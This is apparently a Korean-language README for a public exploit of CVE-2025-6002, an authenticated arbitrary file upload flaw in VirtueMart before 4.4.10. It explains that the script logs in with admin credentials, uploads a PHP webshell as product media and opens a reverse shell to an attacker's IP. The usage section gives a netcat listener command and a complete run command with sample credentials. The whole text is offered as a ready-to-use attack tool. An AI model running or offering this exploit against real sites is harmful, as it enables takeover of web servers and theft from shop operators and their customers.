CVE-2025-6002 익스플로잇

이 스크립트는 VirtueMart < 4.4.10 (CVE-2025-6002)에서 발견된 인증된 임의 파일 업로드 취약점을 악용합니다. 해당 취약점은 이 블로그 게시물에 설명되어 있습니다: https://blog.blacklanternsecurity.com/p/doomla-zero-days

이 스크립트는 제공된 자격 증명으로 VirtueMart에 로그인하고, 새 제품을 생성한 후 미디어 파일로 PHP 웹쉘을 업로드합니다. 그런 다음 제공된 IP/포트로 리버스 셸을 실행합니다.

매개변수:

• --url: VirtueMart URL
• --username: 관리자 사용자 이름
• --password: 관리자 비밀번호
• --remote-ip: 공격자 IP 주소 https://github.com/schn1tzelme1ster/CVE-2025-6002/tree/main
• --remote-port: 공격자 포트

사용법:

1. 공격자 시스템에서 Netcat 실행:

nc -nlvp 1337

2. 익스플로잇 실행

python3 exploit.py --url http://x.x.x.x --username admin --password kartoffel --remote-ip x.x.x.x --remote-port 1337